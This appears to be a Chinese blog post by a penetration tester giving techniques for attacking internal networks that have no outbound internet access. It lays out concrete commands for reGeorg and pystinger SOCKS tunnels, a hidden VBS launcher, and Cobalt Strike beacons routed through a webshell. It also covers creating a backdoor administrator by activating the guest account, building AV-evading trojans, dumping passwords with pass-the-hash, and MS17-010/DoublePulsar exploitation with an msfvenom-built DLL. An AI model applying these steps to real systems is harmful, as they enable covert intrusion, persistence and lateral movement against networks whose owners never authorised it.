内网渗透-不出网渗透技巧
前言
最近打了几场hw,遇到几个内网环境都不通外网,整理下用到的几种不出网内网渗透技巧。
socks隧道搭建
常用工具:reGeorg,Proxifier
用的比较多的一个隧道代理工具
1、上传对应语言的脚本到目标服务器的网站目录下

2、通过浏览器访问上传的脚本文件,显示如下表示成功。

3、本地运行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
4、打开Proxifier,配置ip和端口

5、成功把本机带入内网。

cs上线
cs逐渐成为内网渗透中使用最多的工具,在目标不通外网的情况下,无法直接与公网的cs服务端建立连接。
pystinger
下载地址:https://github.com/FunnyWolf/pystinger
通过webshell实现内网SOCK4代理,端口映射可以使目标不出网情况下在cs上线。

直接使用cs多主机上线方法。
首先上传对应语言的脚本到网站目录下。

将stinger_server.exe上传到目标服务器
创建stinger_server.vbs文件,示例如下:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c D:\XXXXX\stinger_server.exe 0.0.0.0",vbhide

执行vbs脚本,启动服务端。

把stinger_client上传到公网vps,-w指定proxy的url地址运行。
chmod 777 stinger_client
./stinger_client -w http://x.x.x.x/proxy.jsp -l 0.0.0.0 -p 60000

cs新建监听器,设置为目标机器的内网ip,端口默认60020。


根据新建的监听器,制作免杀木马,cs成功上线。

抓取上线的主机对密。

对内网其它主机进行pth攻击,选择刚才建立的监听器。

目标主机成功上线。

坑点:使用过程中cs会话可能假死掉,需要把stinger_server.exe进程结束掉,然后重新启动。
在目标内网搭建cs服务端
如果拿下了目标主机的管理员权限,可以激活guest用户,建立基于http的socks隧道,登录远程桌面,在目标内网搭建cs服务端。
缺点:被发现概率上升;需要安装java环境;基于web的socks隧道速度很慢,心态容易蹦。
首先激活guest用户
net user guest /active:yes
net user guest 1q2w3e4r@
net localgroup administrators guest /add
登录guest用户,查看目标是否存在java运行环境,不存在的话上传安装包安装。

上传cs4.0到目标服务器。

运行服务端
teamserver.bat x.x.x.x 1q2w3e4r

点击cs.bat运行客户端


然后就可以直接在内网操作cs了。
ms17010横向利用
内网渗透中常用的攻击手段,随着补丁和杀软的普及,能利用的场景越来越少,而且容易造成目标蓝屏,影响业务,所以谨慎使用。
之前的利用都是在通外网下情况下利用msf攻击。
本次在目标不出网的情况下进行利用。
方程式漏洞利用工具
首先使用pystinger多主机模式使内网主机在cs上线,生成对应的内网监听器。

生成对应监听器的bin文件。

使用msf把cs生成的bin文件转化为方程式利用工具可以使用的dll文件。
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o x64.dll

把原来的x64.dll文件替换掉,把工具上传到目标主机上。
设置targetip为存在漏洞的主机ip,设置系统类型,点击attack执行利用工具,利用成功返回success。

选择doublepulsar模块,配置ip选择位数,默认加载dll,点击attack在攻击主机执行刚刚生成的x64.dll文件。

目标在cs上线成功。

cs永恒之蓝利用插件
下载地址:https://github.com/phink-team/Cobaltstrike-MS17-010
cs安装下载的插件,导入aggressor.cna文件。
使用pystinger多主机模式使内网主机在cs上线,生成对应的内网监听器test。

内网主机上线后,右键使用ms17-010攻击插件。

ip配置为存在漏洞的主机ip,监听器选择test,次数更改为1次,降低蓝屏风险。

成功通过ms17-010攻击其它主机,cs上线成功。


总结
本次列举了最近实战用到的几个小技巧,技术含量不高,希望能帮到大家。